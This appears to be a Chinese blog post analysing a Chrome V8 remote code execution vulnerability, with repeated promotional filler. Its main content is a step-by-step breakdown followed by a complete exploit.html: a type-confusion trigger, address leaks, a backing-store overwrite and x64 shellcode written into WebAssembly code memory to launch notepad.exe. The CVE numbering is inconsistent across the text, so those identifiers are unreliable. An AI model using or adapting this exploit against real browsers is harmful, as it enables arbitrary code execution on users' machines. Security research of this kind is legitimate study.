Google Chrome RCE漏洞 CVE-2024-6507 和 CVE-2024-0517 流程分析(1)

最新推荐文章于 2024-05-17 14:22:48 发布

2401_84910919

最新推荐文章于 2024-05-17 14:22:48 发布

阅读量905

点赞数 30

分类专栏：程序员文章标签： go 学习面试

本文链接：https://blog.csdn.net/2401_84910919/article/details/138757623

版权

程序员专栏收录该内容

59 篇文章 0 订阅

订阅专栏

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

其实在另外一种思路上，如果是直接可以打开直接执行命令，那么就可以绕过谷歌浏览器的这个机制限制，当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸，根据以往一些国外大佬进行逃逸并未成功！

EXP的核心步骤拆解分析

核心在于JavaScript代码是一个漏洞利用脚本，其核心部分在于实现了一系列操作，以触发浏览器漏洞并执行特定的shellcode，最终实现在浏览器中弹出记事本的效果。这篇文章里面我们可以接触到谷歌浏览器的垃圾回收也称为（WasmGC）https://developer.chrome.com/blog/wasmgc?hl=zh-cn#garbage_collection

让我们逐步分析这个脚本的核心要点：

内存操作：

使用ArrayBuffer对象进行内存分配，其中gc函数用于触发垃圾回收，以促使后续的内存布局。

ArrayBuffer 是 JavaScript 中的对象，用于表示通用的、固定长度的原始二进制数据缓冲区。它在 JavaScript 中的主要作用是提供一种机制，使得 JavaScript 能够直接操作二进制数据而无需通过字符串。

EXP代码中，ArrayBuffer 主要用于进行内存操作，通过创建 ArrayBuffer 实例并使用 DataView 来对其中的二进制数据进行读写。这些操作是为了进行浮点数和整数之间的转换，以及实现对内存的底层控制，从而进行漏洞利用。

定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f等，用于处理浮点数和整数之间的转换。

对浮点数和整数之间的转换通常是为了绕过一些数值的限制、操作系统的保护机制，或者触发特定的漏洞。这里简要说明这些函数的作用：
fLow(f): 将浮点数 f 的低 32 位提取出来。在这里可能用于获取浮点数的底层二进制表示的一部分。
fHi(f): 将浮点数 f 的高 32 位提取出来。同样，用于获取浮点数的底层二进制表示的一部分。
i2f(low, hi): 将两个整数 low 和 hi 合成一个双精度浮点数。这个操作可能用于将提取出的浮点数的低 32 位和高 32 位重新组合成一个浮点数。
f2big(f): 将浮点数 f 转换为一个大端序的 64 位无符号整数。这可能用于将浮点数的二进制表示直接当做整数进行处理。
big2f(b): 将大端序的 64 位无符号整数 b 转换为浮点数。这可能用于将整数的二进制表示直接当做浮点数进行处理。

<script>
 // 触发垃圾回收，促使后续的内存布局
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }
 
 // ... (其他代码)
 
 // 创建一个包含8字节的ArrayBuffer对象
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);

 // 以下是一系列处理浮点数和整数之间转换的函数
 // fLow: 获取浮点数的低32位
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }

 // fHi: 获取浮点数的高32位
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }

 // i2f: 将低32位和高32位整数转换成浮点数
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }

 // f2big: 将浮点数转换成大端格式的64位整数
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }

 // big2f: 将大端格式的64位整数转换成浮点数
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }
</script>

gc 函数通过循环创建了大量的 ArrayBuffer 对象，以触发垃圾回收。
接着定义了一系列与内存操作相关的函数，如fLow、fHi、i2f、f2big、big2f 等，这些函数用于处理浮点数和整数之间的转换。

WebAssembly 操作：

知识点认识：WebAssembly（Wasm）是一种用于在浏览器中运行高性能代码的二进制指令集。在谷歌浏览器中，WebAssembly 模块可以通过与 JavaScript 代码进行交互，这个漏洞又与谷歌浏览器的 V8 JavaScript 引擎有关

定义了一个包含 WebAssembly 字节码的 Uint8Array 对象，并创建了 WebAssembly 模块和实例。
main 函数是 WebAssembly 模块的入口点。

<script>
 // ... (其他代码)

 // 定义一个包含 WebAssembly 模块字节码数据的 Uint8Array
 var wasmCode = new Uint8Array([ /\* WebAssembly 模块的字节码数据 \*/ ]);

 // 创建一个 WebAssembly 模块
 var wasmModule = new WebAssembly.Module(wasmCode);

 // 创建一个 WebAssembly 实例
 var wasmInstance = new WebAssembly.Instance(wasmModule);

 // 获取 WebAssembly 模块的导出函数 main
 var main = wasmInstance.exports.main;

 // ... (其他代码)
</script>

wasmCode 定义了一个 Uint8Array，其中包含了 WebAssembly 模块的字节码数据。
通过
WebAssembly.Module 创建了一个 WebAssembly 模块。
通过 WebAssembly.Instance创建了一个 WebAssembly 实例，并将其中的 main 函数赋值给了变量 main。
这部分代码涉及到 WebAssembly的加载和执行，其中 main 函数的调用触发了对应 WebAssembly 模块中的代码执行。

漏洞触发：

利用特定的操作和计算，触发了浏览器漏洞，包括操作Array和ArrayBuffer等对象。

Shellcode 注入：

定义了一个名为 shellcode 的数组，其中包含一段特定的二进制代码。这段代码是汇编代码，用于执行特定的操作，这里是弹出记事本。

内存布局操作：

通过一系列的内存操作，计算出一些关键地址，包括 baseAddr、wasmInsAddr 和 code_entry。
setbackingStore 函数用于修改内存中的值，实现对关键地址的设置。

// 设置 backingStore 函数，用于将两个 32 位整数写入数组 rwarr 中的浮点数元素
// hi: 要写入的高位整数，low: 要写入的低位整数
function setbackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);  // 将高位整数写入 rwarr[4]
    rwarr[5] = i2f(low, fHi(rwarr[5]));   // 将低位整数写入 rwarr[5]
}

// 泄漏对象低位地址函数
// o: 要泄漏低位地址的对象
function leakObjLow(o) {
    corrupt_buff.slot = o;  // 将对象设置到 ArrayBuffer 的 slot 属性中
    return (fLow(rwarr[9]) - 1);  // 泄漏对象低位地址
}

let corrupt_view = new DataView(corrupt_buff);

// 获取 ArrayBuffer 的低位地址，用于后续计算
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);

// 计算偏移地址
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;

// 根据偏移地址确定 base 指向的是数组 rwarr 中的哪个元素
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
}

// 泄漏 WebAssembly 实例的低位地址
let wasmInsAddr = leakObjLow(wasmInstance);

// 将泄漏的 WebAssembly 实例地址和 base 写入 backingStore 中
setbackingStore(wasmInsAddr, this.base);

// 从 DataView 中获取地址指向的浮点数，即 WebAssembly 的代码入口地址
let code_entry = corrupt_view.getFloat64(13 * 8, true);

// 将代码入口地址写入 backingStore 中
setbackingStore(fLow(code_entry), fHi(code_entry));

最终执行：

在整个过程的最后，通过调用 main 函数，触发了 WebAssembly 模块的执行，并在其中执行了之前注入的 shellcode。

这里是完整的一个EXP，弹出记事本！

// exploit.html
<script>
 function gc() {
 for (var i = 0; i < 0x80000; ++i) {
 var a = new ArrayBuffer();
 }
 }
 let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
 0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
 var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
 var wasmModule = new WebAssembly.Module(wasmCode);
 var wasmInstance = new WebAssembly.Instance(wasmModule);
 var main = wasmInstance.exports.main;
 var bf = new ArrayBuffer(8);
 var bfView = new DataView(bf);
 function fLow(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(0, true));
 }
 function fHi(f) {
 bfView.setFloat64(0, f, true);
 return (bfView.getUint32(4, true))
 }
 function i2f(low, hi) {
 bfView.setUint32(0, low, true);
 bfView.setUint32(4, hi, true);
 return bfView.getFloat64(0, true);
 }
 function f2big(f) {
 bfView.setFloat64(0, f, true);
 return bfView.getBigUint64(0, true);
 }
 function big2f(b) {
 bfView.setBigUint64(0, b, true);
 return bfView.getFloat64(0, true);
 }
 class LeakArrayBuffer extends ArrayBuffer {
 constructor(size) {
 super(size);
 this.slot = 0xb33f;
 }
 }
 function foo(a) {
 let x = -1;
 if (a) x = 0xFFFFFFFF;
 var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
 arr.shift();
 let local\_arr = Array(2);
 local\_arr[0] = 5.1;//4014666666666666
 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
 arr[0] = 0x1122;
 return [arr, local\_arr, buff];
 }
 for (var i = 0; i < 0x10000; ++i)
 foo(false);
 gc(); gc();
 [corrput\_arr, rwarr, corrupt\_buff] = foo(true);
 corrput\_arr[12] = 0x22444;
 delete corrput\_arr;
 function setbackingStore(hi, low) {
 rwarr[4] = i2f(fLow(rwarr[4]), hi);
 rwarr[5] = i2f(low, fHi(rwarr[5]));
 }
 function leakObjLow(o) {
 corrupt\_buff.slot = o;
 return (fLow(rwarr[9]) - 1);
 }
 let corrupt\_view = new DataView(corrupt\_buff);
 let corrupt\_buffer\_ptr\_low = leakObjLow(corrupt\_buff);
 let idx0Addr = corrupt\_buffer\_ptr\_low - 0x10;
 let baseAddr = (corrupt\_buffer\_ptr\_low & 0xffff0000) - ((corrupt\_buffer\_ptr\_low & 0xffff0000) % 0x40000) + 0x40000;
 let delta = baseAddr + 0x1c - idx0Addr;
 if ((delta % 8) == 0) {
 let baseIdx = delta / 8;
 this.base = fLow(rwarr[baseIdx]);
 } else {
 let baseIdx = ((delta - (delta % 8)) / 8);
 this.base = fHi(rwarr[baseIdx]);
 }
 let wasmInsAddr = leakObjLow(wasmInstance);
 setbackingStore(wasmInsAddr, this.base);
 let code\_entry = corrupt\_view.getFloat64(13 \* 8, true);
 setbackingStore(fLow(code\_entry), fHi(code\_entry));
 for (let i = 0; i < shellcode.length; i++) {
 corrupt\_view.setUint8(i, shellcode[i]);
 }
 main();
</script>

五、Google Chrome V8 CVE-2024-0517 越界写入代码执行

漏洞介绍：该漏洞源于 V8 的 Maglev 编译器尝试编译具有父类的类的方式。在这种情况下，编译器必须查找所有父类及其构造函数，并且在执行此操作时会引入漏洞。然后跟上面的CVE-2022-6507的漏洞都是一样的，并没有看出有逃逸谷歌沙箱的操作，几乎都是需要关闭沙箱，然后还有一点比较重要的就是V8的Ubercage 也可以称为V8沙箱，是 V8 中的一种新缓解措施！

在这篇文章的底部有个视频我们可以看看：Google Chrome V8 CVE-2024-0517 越界写入代码执行。视频展示了 Linux 上 Chrome 120.0.6099.71 上的漏洞利用情况，图中红框的内容就是关闭沙箱启动谷歌浏览器!
在这里插入图片描述

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

3d06b3aab641f681c171a4d7dd6e04.png)

[外链图片转存中…(img-w5d462Pd-1715500294692)]
[外链图片转存中…(img-FbqicoQh-1715500294692)]

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

2401_84910919

关注

30
点赞
踩
27

收藏

觉得还不错? 一键收藏
0
评论
Google Chrome RCE漏洞 CVE-2024-6507 和 CVE-2024-0517 流程分析(1)

其实在另外一种思路上，如果是直接可以打开直接执行命令，那么就可以绕过谷歌浏览器的这个机制限制，当然这个思路也可能是不存在或不能实现的一种。当然还有一个就是这个漏洞的沙箱逃逸，根据以往一些国外大佬进行逃逸并未成功！
复制链接

扫一扫

专栏目录